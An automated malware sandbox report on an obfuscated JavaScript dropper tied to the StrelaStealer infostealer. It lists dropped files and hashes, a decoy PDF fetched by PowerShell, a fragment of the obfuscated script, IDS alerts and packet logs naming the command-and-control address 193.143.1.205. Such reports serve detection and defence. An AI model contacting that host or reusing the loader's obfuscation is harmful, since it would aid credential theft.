SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\d5c296ad-b068-4c50-a975-4a9b396f50f8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16521), with CRLF line terminators
Entropy (8bit):	4.917029577082668
TrID:
File name:	19726179161917216961.js
File size:	19'918 bytes
MD5:	cdc07d98937835b94957235e65a5fd1f
SHA1:	2600e051cb34fccc62ba98cc85094709017343d6
SHA256:	3e8b6c21640adac8c922e1308c7cd45bb478b4a9f829f52b559725ea531f4e9f
SHA512:	ad443b5f78c47ef1f2f0105881514299f8e6af8edd467ac134fbe451cbd01cde1325a1e6aff73ec4bd55fe7ea66c623ba719bbbb9054af4eb01f9a029dc0df6b
SSDEEP:	384:j4kTxTmq+Oh29fZethqqlC91Kpsn4ic3m5kSpW9jXKt:DTmLOq4/qIZpsn4x6t
TLSH:	079235C7F42DE291AED4D68667170D8B65BD014DCDF082CD54A6698F230683C26FA8BF
File Content Preview:	function ffyoosqzo(){sryiehex=[1031,3079,5127,4103,2055,3072];var oyeqsmqew=this[dffiun+apxrbq+zvgzybylr+xzbifth+kqqla+upkat+dzuxtih+nujkwir](this[wambeyx+rhfvny+lqjqv+zvgzybylr+mbucue+dffiun+nujkwir][lmwhnu+zvgzybylr+kqqla+apxrbq+nujkwir+kqqla+dxkmdzlbh+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T05:38:31.075281+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T05:38:31.075281+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T05:38:33.524400+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:38:30.289424896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:30.294348955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:30.294437885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:30.297102928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:30.301866055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.075146914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.075196028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.075207949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.075218916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.075231075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.075241089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.075253010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.075268984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.075279951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.075280905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.075292110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.075335026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.075344086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.080255985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.120353937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.120397091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.120409966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.120634079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.120637894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.196300030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.196333885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.196346045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.196356058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.196367979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.196479082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.196491003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.196516991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.196527958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.196542025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.196542025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.196587086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.196594954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.196640968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.197335958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.197346926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.197357893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.197381973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.197427034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.197465897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.197906971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.197917938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.197928905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.197957993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.198031902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.198044062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.198076010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.207808971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.207858086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.207879066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.241259098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.241274118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.241286039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.241292000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.241333961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.241343975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.241435051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.241435051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.241435051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.283713102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.283755064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.283830881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.317152977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.317199945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.317235947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.317270994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.317290068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.317290068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.317326069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.317361116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.317372084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.317395926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.317446947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.317449093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.317481995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.317517996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.317528009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.317950964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.317985058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.317997932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.318037987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.318072081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.318084955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.318109035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.318155050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.318196058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.318231106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.318279028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.318886042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.318921089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.318953991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.318967104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.318989992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.319024086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.319029093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.319535017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.319571018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.319587946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.319622993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.319657087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.319664955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.319691896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.319725037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.319730043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.319761992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.319809914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.320452929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.320487976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.320523977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.320539951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.320601940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.320636034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.320645094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.320671082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.320705891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.320714951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.321280003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.321326971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.328682899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.328717947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.328752995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.328761101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.362081051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.362109900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.362123013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.362134933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.362149954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.362178087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.362345934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.362358093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.362370014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.362493992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.362494946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.404464006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.404499054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.404536963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.404591084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.404597044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.404623985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.404634953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.438138008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.438249111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.438282013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.438349009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.438349009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.438394070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.438436031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.438468933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.438489914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.438555956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.438589096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.438599110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.438622952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.438658953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.438668966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.439244032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.439277887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.439289093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.439311028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.439377069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.439570904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.439604044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.439639091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.439642906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.439692020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.439724922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.439738035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.440115929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.440148115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.440160036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.440184116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.440227032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.440288067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.440320015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.440355062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.440363884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.440397024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.440439939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.441008091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.441040993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.441092968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.441102028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.441127062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.441159964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.441170931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.441267967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.441302061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.441309929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.442011118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.442044020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.442049026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.442095041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.442127943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.442140102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.442162991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.442195892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.442205906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.442230940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.442274094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.442914963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.442946911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.442981005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.442987919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.443032026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.443063974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.443073988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.443098068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.443131924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.443137884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.443845034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.443877935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.443882942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.443913937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.443955898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.443994999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.444027901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.444061041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.444067001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.444097042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.444133043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.444794893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.444844961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.444879055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.444890976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.444911957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.444946051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.444952011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.444979906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.445015907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.445518017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.445550919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.445593119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.445832014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.445867062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.445902109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.445909977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.445935965 CET	80	49704	193.143.1.205	192.168.2.5
